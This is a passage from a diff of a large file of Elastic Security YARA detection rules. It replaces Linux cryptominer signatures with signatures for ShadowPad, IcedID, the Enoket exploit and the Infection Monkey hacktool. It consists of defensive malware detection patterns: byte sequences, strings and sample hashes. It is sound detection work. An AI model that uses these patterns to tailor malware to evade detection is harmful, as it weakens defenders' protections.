+		threat_name = "Windows.Trojan.ShadowPad"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F B6 4F 3D 0B 5C 24 F4 41 C1 EB 10 44 0B 5C 24 }
+		$a1 = "{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_102D6F7C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Shadowpad_0D899241 : MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Target ShadowPad payload"
 		author = "Elastic Security"
-		id = "102d6f7c-0e77-4b23-9e84-756aba929d83"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L341-L359"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bd40c2fbf775e3c8cb4de4a1c7c02bc4bcfa5b459855b2e5f1a8ab40f2fb1f9e"
-		logic_hash = "52966eaaef5522e711dc89bd796b1e12019a8485ee789e8d5112d86f7e630170"
+		id = "0d899241-6ef8-4524-a728-4ed53e4d2cec"
+		date = "2023-01-31"
+		modified = "2023-02-01"
+		reference = "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ShadowPad.yar#L23-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cb3a425565b854f7b892e6ebfb3734c92418c83cd590fc1ee9506bcf4d8e02ea"
+		logic_hash = "57385e149c6419aed2dcd3ecbbe26d8598918395a6480dd5cdb799ce7328901a"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "037b1da31ffe66015c959af94d89eef2f7f846e1649e4415c31deaa81945aea9"
+		tags = "MEMORY"
+		fingerprint = "7070eb3608c2c39804ccad4a05e4de12ec4eb47388589ef72c723b353b920a68"
+		threat_name = "Windows.Trojan.ShadowPad"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 70 D2 AA C5 F9 EF D2 C5 F1 EF CB C5 E1 73 FB 04 C4 E3 79 DF }
+		$a1 = "hH#whH#w" fullword
+		$a2 = "Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv<Yuvb#tv1Yuv-8tv&Yuv" fullword
+		$a3 = "pH#wpH#w" fullword
+		$a4 = "HH#wHH#wA" fullword
+		$a5 = "xH#wxH#w:$" fullword
+		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_9C8F3B1A : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Infectionmonkey_6C84537B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Hacktool Infectionmonkey (Linux.Hacktool.Infectionmonkey)"
 		author = "Elastic Security"
-		id = "9c8f3b1a-0273-4164-ba48-b0bc090adf9e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6c84537b-6aa1-40d5-b14c-f78d7e67823d"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L361-L379"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "74d8344139c5deea854d8f82970e06fc6a51a6bf845e763de603bde7b8aa80ac"
-		logic_hash = "f7ab9990b417c1c81903dcb7adaae910d20ea7fce6689d4846dd6002bea3e721"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Infectionmonkey.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d941943046db48cf0eb7f11e144a79749848ae6b50014833c5390936e829f6c3"
+		logic_hash = "24cb368040fffe2743d0361a955d45a62a95a31c1744f3de15089169e365bb89"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a35efe6bad4e0906032ab2fd7c776758e71caed8be402948f39682cf1f858005"
+		fingerprint = "e9275f5fd8df389a4c99f69c09df1e3e515d8b958616e6d4d2c82d693deb4908"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100489,28 +104831,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_9C8F3B1A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 6F 67 31 70 00 6C 6F 67 32 66 00 6C 6C 72 6F 75 6E 64 00 73 71 }
+		$a = { 75 14 8B 54 24 0C 83 FA FF 0F 44 D0 83 C4 1C 89 D0 C3 8D 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_76Cb94A9 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Enoket_79B52A4C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
 		author = "Elastic Security"
-		id = "76cb94a9-5a3f-483c-91f3-aa0e3c27f7ba"
+		id = "79b52a4c-80cd-4fe1-aa6c-463e2cdd64ac"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L381-L399"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1320d7a2b5e3b65fe974a95374b4ea7ed1a5aa27d76cd3d9517d3a271121103f"
-		logic_hash = "758ee41048c94576e7a872bfdacc6b6f2be3d460169905c876585037e11fdaa8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Enoket.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ae8f7e7df62316400d0c5fe0139d7a48c9f184e92706b552aad3d827d3dbbbf"
+		logic_hash = "204082a3be602b3f6aebb013a46e6f9c98b5dad2476350afa60c1954b13598fe"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "623a33cc95af46b8f0d557c69f8bf72db7c57fe2018b7a911733be4ddd71f073"
+		fingerprint = "84be6877d6b1eb091de9817a5cf0ecba5e0e82089a6dd1dc0af2e91b01fe4003"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100518,28 +104860,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_76Cb94A9 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 8C 24 98 00 00 00 31 C9 80 7A 4A 00 48 89 74 24 18 48 89 54 }
+		$a = { 66 6F 75 6E 64 20 61 74 20 30 78 25 30 34 78 20 69 6E 20 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_616Afaa1 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Enoket_5969A348 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
 		author = "Elastic Security"
-		id = "616afaa1-7679-4198-9e80-c3f044b3c07d"
+		id = "5969a348-6573-4cb3-b81e-db455ff7b484"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L401-L419"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0901672d2688660baa26fdaac05082c9e199c06337871d2ae40f369f5d575f71"
-		logic_hash = "53a309a6a274558e4ae8cfa8f3e258f23dc9ceafab3be46351c00d24f5d790ec"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Enoket.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4b4d7ca9e1ffa2c46cb097d4a014c59b1a9feb93b3adcb5936ef6a1dfef9b0ae"
+		logic_hash = "e47af0fba86c9152d17911b984070a8419b98da8916538ebb1065a5348da6e31"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fd6afad9f318ce00b0f0f8be3a431a2c7b4395dd69f82328f4555b3715a8b298"
+		fingerprint = "7e9b9ba6146754857632451be2f98a5008268091ae1cfab1a87322b6fe30097c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100547,28 +104889,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_616Afaa1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4B 04 31 C0 41 8B 14 07 89 14 01 48 83 C0 04 48 83 F8 14 75 EF 4C 8D 74 }
+		$a = { FC 83 7D FC FF 75 07 B8 FF FF FF FF EB 0F 8B 45 FC 01 45 F0 83 7D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_18Af74B2 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Enoket_80Fac3E9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
 		author = "Elastic Security"
-		id = "18af74b2-99fe-42fc-aacd-7887116530a8"
+		id = "80fac3e9-bf77-46d1-8d9b-25f3cf06a3b7"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L421-L439"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "52707aa413c488693da32bf2705d4ac702af34faee3f605b207db55cdcc66318"
-		logic_hash = "d8ec9bd01fcabdd4a80e07287ecc85026007672bbc3cd2d4cbb2aef98da88ed5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Enoket.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3355ad81c566914a7d7734b40c46ded0cfa53aa22c6e834d42e185bf8bbe6128"
+		logic_hash = "19cb7f02ca80095293c4a09f7ea616c31364af1e4189a9211aaba54aaa2db14e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "07a6b44ff1ba6143c76e7ccb3885bd04e968508e93c5f8bff9bc5efc42a16a96"
+		fingerprint = "627418bfe84af36e9b34d42aa42cb6d793e6bc41aa555a77e4f9389a9407d6f2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100576,28 +104918,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_18Af74B2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 70 6F 77 00 6C 6F 67 31 70 00 6C 6F 67 32 66 00 63 65 69 6C 00 }
+		$a = { 42 4C 45 20 54 4F 20 4D 41 50 20 5A 45 52 4F 20 50 41 47 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_1B76C066 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Enoket_7Da5F86A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
 		author = "Elastic Security"
-		id = "1b76c066-463c-46e5-8a08-ccfc80e3f399"
+		id = "7da5f86a-c177-47c9-a82e-50648c84174a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L441-L459"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f60302de1a0e756e3af9da2547a28da5f57864191f448e341af1911d64e5bc8b"
-		logic_hash = "be239bc14d1adf05a5c6bf2b2557551566330644a049b256a7a5c0ab9549bd06"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Enoket.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "406b003978d79d453d3e2c21b991b113bf2fc53ffbf3a1724c5b97a4903ef550"
+		logic_hash = "df5769a87230f5e563849302f32673b5f5de2595e12de72c27921d45edc58928"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e33937322a1a2325539d7cdb1df13295e5ca041a513afe1d5e0941f0c66347dd"
+		fingerprint = "cf9a703969e3f9a3cd20119fc0a24fa2d16bec5ea7e3b1a8df763872625c90fc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100605,28 +104947,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_1B76C066 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 0C 14 89 0C 10 48 83 C2 04 48 83 FA 20 75 EF 48 8D 8C 24 F0 00 }
+		$a = { FF 75 F2 80 7D 94 00 74 23 0F B6 0F B8 01 00 00 00 3A 4D 94 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_B6Ea5Ee1 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Enoket_C77C0D6D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
 		author = "Elastic Security"
-		id = "b6ea5ee1-ede5-4fa3-a065-99219b3530da"
+		id = "c77c0d6d-7f5c-4618-b6f6-3c1ddc70783c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L461-L479"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19b442c9aa229cd724ed9cbaa73f9dfaf0ed61aa3fd1bee7bf8ba964fc23a2b8"
-		logic_hash = "529119e07aa0243afddc3141dc441c314c3f75bdf3aee473b8bb7749c95fa78a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Enoket.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ae8f7e7df62316400d0c5fe0139d7a48c9f184e92706b552aad3d827d3dbbbf"
+		logic_hash = "504d61715bd5dba7f777fcb2d62eb53d8d54dad2dcf93f2fc2d7dcd359c4b994"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "07c2f1fcb50ce5bcdebfc03fca4aaacdbabab42a857d7cc8f008712ca576b871"
+		fingerprint = "739e23abbd2971d6ff24c94a87d7aab082aec85f9cd7eb3a168b35fa22f32eb9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100634,28 +104976,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_B6Ea5Ee1 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 47 20 49 8D 77 20 4C 89 74 24 10 4C 89 6C 24 18 4C 89 64 24 20 }
+		$a = { 6E 64 20 74 68 65 20 77 6F 72 6C 64 2C 20 6F 6E 65 20 68 61 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_050Ac14C : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Enoket_Fbf508E1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Exploit Enoket (Linux.Exploit.Enoket)"
 		author = "Elastic Security"
-		id = "050ac14c-9aef-4212-97fd-e2a21c2f62e2"
+		id = "fbf508e1-2a44-417e-a2e4-8d43c2b64017"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L481-L499"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36f2ce4e34faf42741f0a15f62e8b3477d69193bf289818e22d0e3ee3e906eb0"
-		logic_hash = "c34b0ff3ce867a76ef57fad7642de7916fa7baebf1a2a8d514f7b74be7231fd4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Enoket.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d1fa8520d3c3811d29c3d5702e7e0e7296b3faef0553835c495223a2bc015214"
+		logic_hash = "21b1d69677c3fddb210dcf5947e8321abccd5a1ebbde8438a83fee5d4b29443d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6f0a5a5d3cece7ae8db47ef5e1bbbea02b886e865f23b0061c2d346feb351663"
+		fingerprint = "4909d3a04b820547fbff774c64c112b8a6a5e95452992639296a220776826d98"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100663,636 +105005,708 @@ rule ELASTIC_Linux_Cryptominer_Generic_050Ac14C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 47 08 49 3B 47 10 74 3C 48 85 C0 74 16 48 8B 13 48 89 10 48 8B }
+		$a = { 45 E8 76 0F 48 8B 45 E8 48 83 E8 01 0F B6 00 3C 5F 74 DF 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_Df937Caa : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_1Cd868A6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "df937caa-ca6c-4a80-a68c-c265dab7c02c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L501-L519"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19b442c9aa229cd724ed9cbaa73f9dfaf0ed61aa3fd1bee7bf8ba964fc23a2b8"
-		logic_hash = "d76a6008576687088f28674fb752e1a79ad2046e0208a65c21d0fcd284812ad8"
+		id = "1cd868a6-d2ec-4c48-a69a-aaa6c7af876c"
+		date = "2021-02-28"
+		modified = "2021-08-23"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "68dce9f214e7691db77a2f03af16a669a3cb655699f31a6c1f5aaede041468ff"
+		logic_hash = "4765b2b1d463f09d7e21367c2832b3ad668aa67d8078798a14295b6e6c846c1c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "963642e141db6c55bd8251ede57b38792278ded736833564ae455cc553ab7d24"
+		fingerprint = "3e76b3ac03c5268923cfd5d0938745d66cda273d436b83bee860250fdcca6327"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 04 62 20 0A 10 02 0A 14 60 29 00 02 0C 24 14 60 7D 44 01 70 01 }
+		$a = { 24 2C B9 09 00 00 00 2A C2 2C 07 88 44 24 0F 0F B6 C3 6B C0 43 89 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_E9Ff82A8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_237E9Fb6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "e9ff82a8-b8ca-45fb-9738-3ce0c452044f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L521-L539"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "62ea137e42ce32680066693f02f57a0fb03483f78c365dffcebc1f992bb49c7a"
-		logic_hash = "9309aaad6643fa212bb04ce8dc7d24978839fe475f17d36e3b692320563b6fad"
+		id = "237e9fb6-b5fa-4747-af1f-533c76a5a639"
+		date = "2021-02-28"
+		modified = "2021-08-23"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L23-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b21f9afc6443548427bf83b5f93e7a54ac3af306d9d71b8348a6f146b2819457"
+		logic_hash = "31479eae077b2d78cb1770eef3b37bec941f35c9ceb329e01dd65a32e785fa74"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "91e78b1777a0580f25f7796aa6d9bcbe2cbad257576924aecfe513b1e1206915"
+		fingerprint = "e2ea6d1477ce4132f123b6c00101a063f7bba7acf38be97ee8dca22cc90ed511"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D9 4D 01 CA 4C 89 74 24 D0 4C 8B 74 24 E8 4D 31 D4 49 C1 C4 20 48 C1 }
+		$a = { 60 8B 55 D4 3B D0 7E 45 83 F8 08 0F 4C 45 EC 3B D0 8D 3C 00 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_A5267Ea3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_F1Ce2F0A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "a5267ea3-b98c-49e9-8051-e33a101f12d3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L541-L559"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b342ceeef58b3eeb7a312038622bcce4d76fc112b9925379566b24f45390be7d"
-		logic_hash = "081633b5aa0490dbffcc0b8ab9850b59dbbd67d947c0fe68d28338a352e94676"
+		id = "f1ce2f0a-0d34-46a4-8e42-0906adf4dc1b"
+		date = "2021-02-28"
+		modified = "2021-08-23"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L45-L65"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b21f9afc6443548427bf83b5f93e7a54ac3af306d9d71b8348a6f146b2819457"
+		logic_hash = "a1f1824a7208201616dde40bea514dfc2cdf908bd8ed24b9f96c2bcad2c8107f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8391a4dbc361eec2877852acdc77681b3a15922d9a047d7ad12d06271d53f540"
+		fingerprint = "1940c4bf5d8011dc7edb8dde718286554ed65f9e96fe61bfa90f6182a4b8ca9e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EE 6A 00 41 B9 01 00 00 00 48 8D 4A 13 4C 89 E7 88 85 40 FF }
+		$a = { 8B C8 8B C6 F7 E2 03 CA 8B 54 24 14 2B D0 8B 44 24 14 89 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_4E9075E6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Icedid_08530E24 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
 		author = "Elastic Security"
-		id = "4e9075e6-3ca9-459e-9f5f-3e614fd4f1c8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L561-L579"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "098bf2f1ce9d7f125e1c9618f349ae798a987316e95345c037a744964277f0fe"
-		logic_hash = "fe117f65666b9eac19fa588ee631f9be7551a3a9e3695b7ecbb77806658678aa"
+		id = "08530e24-5b84-40a4-bc5c-ead74762faf8"
+		date = "2021-03-21"
+		modified = "2021-08-23"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L67-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "31db92c7920e82e49a968220480e9f130dea9b386083b78a79985b554ecdc6e4"
+		logic_hash = "a63511edde9d873e184ddb4720b4752b0e7df4bdb2114b05c16f2ca0594eb6b8"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "70d8c4ecb185b8817558ad9d26a47c340c977abb6abfca8efe1ff99efb43c579"
+		fingerprint = "f2b5768b87eec7c1c9730cc99364cc90e87fd9201bf374418ad008fd70d321af"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 2C 24 74 67 48 89 5C 24 18 4C 89 6C 24 20 4C 89 FB 4D 89 E5 4C 8B }
+		$a1 = "c:\\ProgramData\\" ascii fullword
+		$a2 = "loader_dll_64.dll" ascii fullword
